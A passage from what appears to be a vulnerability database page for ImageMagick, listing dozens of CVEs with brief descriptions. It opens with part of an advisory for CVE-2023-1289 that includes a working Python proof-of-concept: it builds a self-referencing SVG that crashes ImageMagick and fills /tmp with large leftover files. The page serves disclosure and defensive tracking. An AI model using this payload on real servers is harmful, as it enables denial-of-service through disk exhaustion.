--export-filename='/tmp/magick-qp154V6U-dyAwtU-QbcnWD8XKFcG7q5k.png' --export-dpi='96' --export-background='rgb(100%,100%,100%)' --export-background-opacity='1' > '/tmp/magick-YWdlPJt-_9BfRq0uY2vmza_VOxWfjyvl' 2>&1 Segmentation fault $ls /tmp magick-1iZstE-dzlzQTN4HkWX_JlakXXtH4IEM magick-GeFwj8Be_wISDLJnsr4s5WC7p079pzXN magick-s7QN2tTaiXEr9KmkbkHdmtfmgrnjFRaM magick-1LG0ND-RZMQOG8xizDHd-qdd6_Fu70YP magick-ggORXwnSivWesH2gthhafuLTVw7TLqwP magick-s835rBXZIGK5bkp3ijKoMTCbcyWza3ON magick-25byX_oEeEr2dWIkr9nyEoVz1MHC2n9M magick-GrRg60fY1LOv4uUhqD16AaEcL6rWtNeN magick-siS7QS_av31X63ENYmecytIjx1iKmWAN magick-2Dj7LuLUHF6Y93mZ9ZT8a5taf7b5Hb9O magick-gTQUBafZIaI1n8q-QXOwOvyc6qv3tolN magick-SIXvVjWVvDhX1w5NL9K6owJtO0CgG3NN magick-2GrJuPlQjwGwsTK8I1aTMxg90h8PeK4M magick-hik3AU_2x0D_R8ViIBXUIuRljCXSmgqO magick-sJhO2Yv_aeKsxt1JxDENKIiQqkOkSfwM magick-2QIFnR9e-fYRFevd1-vQ-bSk0I1VOAsO magick-HJ18uyG3HLvEftNcMqCEJ5LKwi12CQgO magick-SNgGdhyKjp5TZZQmWqioLEcyQ8vMzG3O magick-2rEueYW0PIXGxE1zHm3LsGedMW2KLdgP magick-hUaNDJgYfzTzJes4QlnLwaYh2fcaOWgQ magick-SxLBCSdKVHSQOrjohe4WFyLHaPOyDUiP magick-2uRqbAjqkXXMMGQHpw8WG18lnDHaRd3N magick-_HWqrSdj_ihWMzjJ_eRiAkKbgrIljhUM magick-t02HQvZSsYLzmJesC2Mpjp5OL3zN4A5P magick-3dPT4h0HzM6ZqCwpGEB69e27pZhHbfHP magick-iEMFbMc2VvGj067miVskUC-mxOveGpqO magick-T4kTJGu-6wF60OOIHOB5tKO63NW5qTTL magick-3SVSiI4Yg_eQ01ZZV8lZsBM_MhauuwpO magick-InCjmKQ7uSGizlJFOZz9Vo3Ax1yvLy5L magick-TGIY7l3-dNVdAbGaMIbN0z3YGy5mrNvM magick-3WQIQghdu9-YHVasNASfkkU63yyVdmfO magick-IPu9YWX3Lk96EkP63KLqQ-CX6020cZMN magick-Thg6M-CqdcXc0SyjRdYm19rtVBLt2U6P magick-4hLf4JPIes67QpGP7GfmOPftGvENC1aN magick-IVKuPYBpBe6Lx9F3lLMAMCjIptMoz0ZM magick-TiTtPZdT3Zgsd-pasyRFTb-DbLGNqJTO magick-4tTMAJrCHh2E8M1xw5BIjx8UDyb42FWM magick-IVzovwQiOR2fwJDO5E5RZb58apCPBX8M magick-_TQZIwyyLufZWMVx1-k3YLSYSsGl6upM magick-4xs5mqt95PYGrXXxZiwyYHFKREC0NEWL magick-J36psEABfkKfgVQdeFsptbkRWT0b1uNP magick-tzMg0NWi-_GQOzES2aPMPRqCk-bgjyVN magick-5DmloHI-m-WPROyfQmm5cF8GOEVa5EqO magick-jEq-Q6t6D3CU-eevjhgfjU_LPP3pOEoO magick-ULNarZD53mUqpJrHZVeZw5x0cuUH683N magick-5JvQUY2vVq_kpzhfUTcsxao_YB2WImZN magick-jNiokVz_0Iifz5QX3a9AUIUOBoxfJ49P magick-uLR13qPG6X-c3avLRypLJ-C7-UiUH9tM magick-5NoXNg55Xyh8816ksKEcqreuN1BF93LO magick-jwa4IVvrxrE4OTSA0m8iB2W3K5LiinmQ magick-uW9khwJZfM4EH1cETVDv09QnueONQGPP magick-60BRKi88--TOk-Sp8t5nAyAxjSuOpxfO magick-K5mhLUCkx0WJxcWr7G7oT0nNrc5qBvgQ magick-v4l3nLHBXBjCNc-nTHSTwUOEfsNCUMnP magick-6t2qB_JnplYLZZo5thj6PV0R15LrPe4L magick-K5qzx3k8-36H5wfEgl3Jy1oNpOyscHhN magick-v7Xm_e5JIf4lCC_CwXJkIuQNHEE7D1LM magick-6_UmuyWO8OviaajA92_VeD1bK8z0btAO magick-K6-l4o2PkC4V7Nq_IJ9y-ifJLl6lSzdM magick-vd7xpM8OrXvu3Oftqd7xdRmGDdoGcHrP magick-725dkkTfpkfKmogI4WLWWwCbrxc0aysP magick-KchLIwf4-ahsUq1FsJfK58j3Jb6CAMTP magick-VhfNmWGF-AOhytm1DMGG8n1DLOAG3p1N magick-7rZG_PFyH2Q7ibxFrB4kTQZjkihhU9uO magick-kpcUuOTI4UlrK8kHoZh38ziLMmBjtjvO magick-vHp_Pz6BixbqmYCq_D2zs2sU4hFRbQoP magick--7T1tmKSEJSSPJIgeDEQ9PLdo8oPh60P magick-kReWGvubeCrLdw4RcRsJdJhlV43wCffM magick-VLoWnTJppgO7-ivh0q_uuGcgPDkuyKPN magick-8jBguKQr6qeZTsw4eFbQWO34ndlsBpbO magick-LBjQNSTFFpLRnj3Cldvjm5e_PWYL1fLL magick-Vp_vOIJK-XsFRZeAS1ZJ9Ra2vkgJbCOL magick-9Hno6LBapbL0jw_CSEC7Ua6A7kB3uYiN magick-Lfu-5C1697AwNxTZnljfR24E2_7ZDnwP magick-VpzT9KMjKbomi6mV3ZnnRkoq1WAP41vM magick-9SN2401usIEYCc6zcn442pdvqyVdPWaQ magick-lHxUfKDHYSfpVi7yOc31u7gJVTXLhSuN magick-vRG2_rcf6I8lB2MJF6DqHqh2_z21IP5N magick-a1uVHLsbEnA8yXKvwmW3PWAFBdnfoSnQ magick-M4mcsykxHPNkFTDgc4tdJ9kP1Trkm64M magick-vw2VNrClFVhnXLqVoIz35Xpo232qsngN magick-AbpJUZcspor3bkYr70l17bGSjntyAhZP magick-m5P0dZWaFUeZo4kr8HcO6vpfuICmmBcM magick-WEYdL0amRHxeCpuGiFEuulRwwzkjZyXO magick-Acsy_QEmT-x7nE6DvfIv2pqjLbfJYTtN magick-MHI0zAFGR1-ljbFLl12i5hFVpkoBbdpN magick-WKjEe_jTF4V6Jt_kCbFEy2B6kQcyFseQ magick-Ai76_QfTBT0DXjGqvZ_aAGia_gvAxuGM magick-mOckd_uEYCLc9gy1XwVgtJWpr1aDU7QP magick-WkkwqgsnNNSleWlRm-1BN8RiE-QcF9lO magick-albf_l7tU2ASh6PRhnMWBDscz31fS1BO magick-MrajCpsti_3MlAWlNviDCY3iUeZsgGLM magick-WMlxV7rdjtMYe1F0aggQZW2WNpvhY2GO magick-A-nsLcvOOBlHzdBGQMSsdTrvsfUevEQO magick-mZyca0hC8atGLvY-m0UYec1yCU3rGIWM magick-wnqAodNT7ZVbe8dIN-Gd2pxCNo6cwzOL magick-AplCAOC7_K6cDM3qO3wqSONMhVuztohO magick-NAH0CgD3XCLMS1VN_-4yju-2RCdFJbGO magick-wP3Q3aM05wB2K6NBolzm6sC_R3b5wE1P magick-ApNw8tmuaXUw-mqdMF7P0ZKOV3YHwQGM magick-NU3oGX5NxUhJvWQ_WWY8-7BNAnHWJceM magick-wsCa-R-K6HYtZ7FWWnPg3FpOyGmS1wuO magick-AWye85xaEc_t6rGB9bIvIz9BBhrRyg3O magick-NZBKgJGx7bH8uZ2PiKF8jtzCI9aBDVZN magick-WvNjMMQ2gXHSGNWCMceMqBL8ksnGZIuO magick-aXtmFaHIdz24xjFvCy4ZQda2wef0AH0N magick-o3FerPGSptnb0U5mHu6DH-00ZTlTlDCO magick-xAPfisi5E9NHJKbkrbCGioXCkTs3uDYM magick-B5uiXH3Mrf0GgmF9NAPwqSJd-lMFLfrM magick-o4Dl5iYn3veI54-lNtHgm6wnAIQ79urP magick-Xb2irJZuxzYWsCfmYHc8oaKU67ANR27N magick-BEr6_VZecWKFCRVuSXPEIbJu6uuBe0pO magick-o9S5taGlSrED8zUEtv0EkpjoWk61fJBO magick-Xkes-Q_QqXhMthGwFKxLjpRvL96qRd6O magick-bKCtVcSkQqtXdjO8X_AyWeocMsYuZArN magick-OeHngPf0pRuDH9DpIs_OpkoAbDnAvBTL magick-xlhsal9kyY6QMOSb1WmyTx1vGTqE94bO magick-Btw2-hfTAVQLiPRMXakrXs_UhstT2ZGM magick-OhD82cIFbY91zGxpIt52AbjWekddAU2L magick-xmmr39PvOExl0B8w0YO_oq2_yYyWoVLM magick-By2_pnDUxk85bO3M7kkMbAEXHGShyc0O magick-OlcHbZjE_-66xMyWVlhfAucxYJioiQ4L magick-xq9qw9wK-TRFokBTostne36jQXljCa7M ... ``` ### Impact Possible DOS, because when ImageMagick crashes it generates a lot of trash files. This trash file can be large, if SVG file contains many render action. ### Additional impact In DOS attack if remount attacker uploads an SVG file of size t, ImageMagick generates files of size 103*t. This means that if an attacker uploads a 100 M SVG, the server will generate about 10 G. Example: ``` $cat dos_poc.py open("bad_dos.svg", "w").write("""<?xml version="1.0"?> <?xml-stylesheet href="https://example.com/style.xsl" type="text/xsl" ?> <!DOCTYPE test> <svg width="128px" height="128px" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1"> <image height="200" width="200" href="bad_dos.svg"""" + "0"*(1024*1021) + """"" /> </svg>""") $rm -rf /tmp/magick-* $python3 dos_poc.py $du -h bad_dos.svg 1,0M bad_dos.svg $../magick convert -font OpenSymbol bad_dos.svg t.jpg Segmentation fault $cat /tmp/magick-* > dos_k.txt $du -h dos_k.txt 103M dos_k.txt ``` P. S. If ImageMagick will work in Docker container this attack will crash server where docker running. Because the size of the docker container will increase. |
CVE-2023-1289
GHSA-j96m-mjp6-99xr |
| VCID-6y99-sgwe-tygw | ImageMagick: outside the range of representable values of type 'long' and integer overflow at MagickCore/pixel.c and MagickCore/cache.c |
CVE-2020-25676
|
| VCID-6zuv-uh18-k3c1 | security update |
CVE-2019-13307
|
| VCID-7gya-qyjx-qqfx | imagemagick: null-pointer dereference in function ReadPANGOImage in coders/pango.c and ReadVIDImage in coders/vid.c causing denial of service |
CVE-2019-12974
|
| VCID-7yur-twpa-n3e1 | ImageMagick: heap-based buffer over-read at MagickCore/threshold.c in AdaptiveThresholdImage because a width of zero is mishandled |
CVE-2019-13295
|
| VCID-834e-c7gn-afac | ImageMagick: Division by zero in ScaleResampleFilter in MagickCore/resample.c |
CVE-2021-20246
|
| VCID-8yfc-gunh-17a2 | ImageMagick: division by zero in OptimizeLayerFrames function in MagickCore/layer.c |
CVE-2020-27560
|
| VCID-92es-dtbz-tqae | ImageMagick: Division by zero in GetResizeFilterWeight in MagickCore/resize.c |
CVE-2021-20243
|
| VCID-9h1k-h8gw-hkat | ImageMagick: Division by zero in WriteAnimatedWEBPImage() in coders/webp.c |
CVE-2021-20245
|
| VCID-acgu-hc83-yubn | ImageMagick: memory leak in coders/dot.c |
CVE-2019-16713
|
| VCID-aej5-sgf8-7uhp | ImageMagick: heap-based buffer over-read at MagickCore/threshold.c in AdaptiveThresholdImage because a height of zero is mishandled |
CVE-2019-13297
|
| VCID-agz5-g8mr-e7hn | Multiple vulnerabilities have been discovered in ImageMagick, the worst of which can lead to remote code execution. |
CVE-2022-32546
|
| VCID-anh4-1hmn-yfh8 | ImageMagick: memory leak in identify -help |
CVE-2022-48541
|
| VCID-aqs4-r36j-ffe7 | Multiple vulnerabilities have been discovered in ImageMagick, the worst of which can lead to remote code execution. |
CVE-2022-44267
|
| VCID-ay8n-59tt-k7cp | ImageMagick: division by zero at MagickCore/resize.c |
CVE-2020-27763
|
| VCID-b32k-mwuv-hfeq | imagemagick: memory leak in function DecodeImage in coders/pcd.c |
CVE-2019-7175
|
| VCID-b8hx-6u4j-b3dc | A vulnerability in ImageMagick's handling of PDF was discovered possibly allowing code execution. |
CVE-2020-29599
|
| VCID-bcy4-phg3-w3fq | ImageMagick: outside the range of representable values of type 'unsigned long' at MagickCore/statistic.c |
CVE-2020-27776
|
| VCID-bky2-hjpj-67ag | ImageMagick: heap-use-after-free in RelinquishDCMInfo of dcm.c |
CVE-2022-1114
|
| VCID-c8rr-y6zy-h7h5 | ImageMagick: integer overflow at MagickCore/statistic.c |
CVE-2020-27774
|
| VCID-ccbh-689z-6kg2 | ImageMagick: heap-based buffer over-read in WritePNGImage in coders/png.c |
CVE-2019-19949
|
| VCID-cmym-m1da-f3fg | ImageMagick: Division by zero in ImplodeImage in MagickCore/visual-effects.c |
CVE-2021-20244
|
| VCID-cure-qgzj-8qfu | ImageMagick: outside the range of representable values of type 'long' and integer overflow at MagickCore/transform.c and MagickCore/image.c |
CVE-2020-25675
|
| VCID-djqz-f6k5-fqfj | ImageMagick: memory leaks with convert command |
CVE-2021-3574
|
| VCID-ezcj-2yaf-rfhh | ImageMagick: memory leak in coders/dps.c |
CVE-2019-16709
|
| VCID-fzhr-jhhc-m3ej | ImageMagick: heap-based buffer overflow in WritePALMImage in coders/palm.c |
CVE-2020-25665
|
| VCID-g1ct-6d28-g3ab | ImageMagick: division by zero at MagickCore/enhance.c |
CVE-2020-27760
|
| VCID-gc9p-4vdm-rbah | ImageMagick: division by zero in MeanShiftImage in MagickCore/feature.c |
CVE-2019-14981
|
| VCID-gf8v-mmd7-hqag | ImageMagick: outside the range of representable values of type 'unsigned int' at coders/bmp.c |
CVE-2020-27772
|
| VCID-gp36-v664-vuh2 | ImageMagick: outside the range of representable values of type 'unsigned long long' at coders/txt.c |
CVE-2020-27758
|
| VCID-h7em-v8x6-63e3 | ImageMagick: heap-based buffer overflow in PopShortPixel in MagickCore/quantum-private.h |
CVE-2020-25664
|
| VCID-hrrw-ufje-akg5 | ImageMagick: processing crafted file leads to division by zero |
CVE-2021-20176
|
| VCID-hwcd-dj3f-guay | ImageMagick: outside the range of representable values of type 'unsigned char' at coders/hdr.c |
CVE-2020-27762
|
| VCID-jpxf-qevp-kycp | ImageMagick: division by zero in MagickCore/colorspace-private.h |
CVE-2020-27750
|
| VCID-jqv2-v42r-7ybf | ImageMagick: denial of service in ReadXWDImage in coders/xwd.c in the XWD image parsing component |
CVE-2019-11472
|
| VCID-kfb4-xnqr-cya6 | ImageMagick: a memory leak vulnerability in the function ReadPSImage in coders/ps.c |
CVE-2019-13137
|
| VCID-mhbe-8x14-f3d6 | ImageMagick: division by zero at MagickCore/gem-private.h |
CVE-2020-27773
|
| VCID-mmw7-4m3z-2kcn | Multiple vulnerabilities have been discovered in ImageMagick, the worst of which can lead to remote code execution. |
CVE-2022-44268
|
| VCID-mn5y-2hmf-dkgy | ImageMagick: outside the range of representable values of type 'unsigned char' at coders/pdf.c |
CVE-2020-27771
|
| VCID-my2x-tnvf-wqbw | ImageMagick: heap-based buffer overflow in ReadTIFFImage() in coders/tiff.c |
CVE-2021-3610
|
| VCID-n22y-f9az-fubm | ImageMagick: Memory leak in the WritePSDChannel function in coders/psd.c |
CVE-2019-7395
|
| VCID-neaa-39c7-sfbc | ImageMagick: memory leak in Huffman2DEncodeImage in coders/ps2.c |
CVE-2019-16711
|
| VCID-nvea-drm5-h3au | Multiple vulnerabilities have been discovered in ImageMagick, the worst of which can lead to remote code execution. |
CVE-2022-1115
|
| VCID-nxfx-jh82-vud3 | ImageMagick: unsigned offset overflowed at MagickCore/string.c |
CVE-2020-27770
|
| VCID-p3vh-b6jn-f3e2 | ImageMagick: memory leak in SVGKeyValuePairs of coders/svg.c that leads to denial of service via crafted image file |
CVE-2019-10649
|
| VCID-p4yb-mqca-v7c8 | Multiple vulnerabilities have been discovered in ImageMagick, the worst of which can lead to remote code execution. |
CVE-2021-4219
|
| VCID-p6m5-ntbm-auct | ImageMagick: outside the range of representable values of type 'float' at MagickCore/quantum.h |
CVE-2020-27767
|
| VCID-pj8s-qad1-6qdu | security update |
CVE-2019-13306
|
| VCID-pjm4-2g47-4qau | Multiple vulnerabilities have been discovered in ImageMagick, the worst of which can lead to remote code execution. |
CVE-2023-1906
|
| VCID-pk4j-w1q9-vqd2 | Multiple vulnerabilities have been discovered in ImageMagick, the worst of which can lead to remote code execution. |
CVE-2023-34151
|
| VCID-pmpn-drv8-9ude | ImageMagick: NULL pointer dereference in ReadSVGImage() in coders/svg.c |
CVE-2021-3596
|
| VCID-psf6-cvdn-h3b1 | ImageMagick: heap buffer overflow in coders/tiff.c |
CVE-2020-27829
|
| VCID-ptej-pfyn-z3aq | ImageMagick: outside the range of representable values of type 'unsigned long' at MagickCore/statistic.c |
CVE-2020-27766
|
| VCID-q3v4-jztv-9bbs | imagemagick: memory leak vulnerability in function WriteDPXImage in coders/dpx.c |
CVE-2019-12975
|
| VCID-qda9-n7gh-c7c4 | imagemagick: memory leak vulnerability in function ReadPCLImage in coders/pcl.c |
CVE-2019-12976
|
| VCID-qrqm-h5se-1kep | ImageMagick: memory leaks in AcquireMagickMemory |
CVE-2019-13301
|
| VCID-r1uc-e1w7-kyda | Multiple vulnerabilities have been discovered in ImageMagick, the worst of which can lead to remote code execution. |
CVE-2022-3213
|
| VCID-rqdx-1pdv-a3bu | security update |
CVE-2019-13304
|
| VCID-rqm7-d751-myfa | security update |
CVE-2019-15140
|
| VCID-rrvd-vd81-sfdm | Multiple vulnerabilities have been discovered in ImageMagick, the worst of which can lead to remote code execution. |
CVE-2022-28463
|
| VCID-rvjq-uks4-x3h3 | ImageMagick: a "use of uninitialized value" vulnerability in the function ReadCUTImage leading to a crash and DoS |
CVE-2019-13135
|
| VCID-rzge-64xp-bfej | imagemagick: use of uninitialised value in function WriteJP2Image in coders/jp2.c |
CVE-2019-12977
|
| VCID-s7tx-uu27-xqb5 | security update |
CVE-2019-13300
|
| VCID-snup-2hn7-sue2 | ImageMagick: heap-based buffer overflow in MagickCore/fourier.c in ComplexImage |
CVE-2019-13308
|
| VCID-swqu-wape-83bj | ImageMagick: heap-buffer-overflow in coders/tiff.c |
CVE-2023-3428
|
| VCID-sy2v-5ufy-sfc4 | ImageMagick: Integer overflow in WriteTHUMBNAILImage of coders/thumbnail.c |
CVE-2021-20312
|
| VCID-t2pe-etah-1bh3 | ImageMagick: memory leaks in AcquireMagickMemory function |
CVE-2020-27753
|
| VCID-tc3z-912z-afc8 | ImageMagick: division by zero in RemoveDuplicateLayers in MagickCore/layer.c |
CVE-2019-13454
|
| VCID-tm56-q7ka-ukft | ImageMagick: Division by zero in WriteJP2Image() in coders/jp2.c |
CVE-2021-20241
|
| VCID-tn11-bwg6-m3e3 | ImageMagick: outside the range of representable values of type 'int' at MagickCore/quantize.c |
CVE-2020-27759
|
| VCID-twq8-ntkg-zbfk | ImageMagick: Memory leak in the WriteDIBImage function in coders/dib.c |
CVE-2019-7398
|
| VCID-u6vb-tewy-fkda | ImageMagick: memory leaks in ResizeMagickMemory function in ImageMagick/MagickCore/memory.c |
CVE-2020-27755
|
| VCID-u9gb-ppd4-3fd5 | ImageMagick: possible read or write in postscript files |
CVE-2021-39212
|
| VCID-ucfp-qqy4-jqdm | ImageMagick: outside the range of representable values of type 'unsigned long long' at MagickCore/quantum-private.h |
CVE-2020-27757
|
| VCID-uwq6-h2du-dkdn | ImageMagick: outside the range of representable values of type 'long' and signed integer overflow at MagickCore/quantize.c |
CVE-2020-27754
|
| VCID-v2r8-1wgn-1bgs | Multiple vulnerabilities have been discovered in ImageMagick, the worst of which can lead to remote code execution. |
CVE-2023-5341
|
| VCID-vf3u-cgrx-a7d7 | ImageMagick: outside the range of representable values of type 'float' at MagickCore/quantize.c |
CVE-2020-27769
|
| VCID-vgvf-at1z-8ydr | ImageMagick: out-of-bounds read in ReadXWDImage in coders/xwd.c |
CVE-2019-15139
|
| VCID-vrqg-4fke-mfay | Multiple vulnerabilities have been discovered in ImageMagick, the worst of which can lead to remote code execution. |
CVE-2022-32547
|
| VCID-wpsv-h9q7-pyep | ImageMagick: heap-based buffer over-read in the function WriteTIFFImage of coders/tiff.c leading to DoS or information disclosure |
CVE-2019-11597
|
| VCID-wwcs-2mw8-4bbr | ImageMagick: heap-based buffer over-read in BlobToStringInfo in MagickCore/string.c during TIFF image decoding |
CVE-2020-13902
|
| VCID-x95w-ad3j-n7aj | ImageMagick: Memory leak in the ReadSIXELImage function in coders/sixel.c |
CVE-2019-7396
|
| VCID-x998-fhs5-93ht | ImageMagick: heap-based buffer over-read in MagickCore/fourier.c |
CVE-2019-13391
|
| VCID-xnkt-e7mn-e7du | ImageMagick: memory leaks at AcquireMagickMemory because of a wand/mogrify.c error |
CVE-2019-13311
|
| VCID-xsue-s6sg-aqff | ImageMagick: heap-based buffer overflow in WriteOnePNGImage in coders/png.c |
CVE-2020-25674
|
| VCID-xtfv-8vvu-qudb | ImageMagick: Division by zero in ReadEnhMetaFile lead to DoS |
CVE-2021-40211
|
| VCID-yhmq-s1jh-17bh | ImageMagick: out-of-bounds read in ReadHEICImageByID function in coders/heic.c |
CVE-2020-10251
|
| VCID-yspe-wj34-juck | Multiple vulnerabilities have been discovered in ImageMagick, the worst of which can lead to remote code execution. |
CVE-2022-32545
|
| VCID-ytpg-f9mm-sbev | ImageMagick: memory leak in magick/xwindow.c |
CVE-2019-16708
|
| VCID-yub2-x8z7-d3e6 | ImageMagick: Cipher leak when the calculating signatures in TransformSignatureof MagickCore/signature.c |
CVE-2021-20313
|
| VCID-zdu5-rtg2-pffb | imagemagick: use of uninitialized value in function ReadPANGOImage in coders/pango.c |
CVE-2019-12978
|
| VCID-zh44-pz7k-abba | ImageMagick: memory leak in Huffman2DEncodeImage in coders/ps3.c |
CVE-2019-16712
|
| VCID-zp6q-98qj-ykh1 | ImagemMagick: Division by zero in WaveImage() of MagickCore/visual-effects.c |
CVE-2021-20309
|
| VCID-zv8w-puzj-23cd | ImageMagick: outside the range of representable values of type int and signed integer overflow in MagickCore/histogram.c |
CVE-2020-25666
|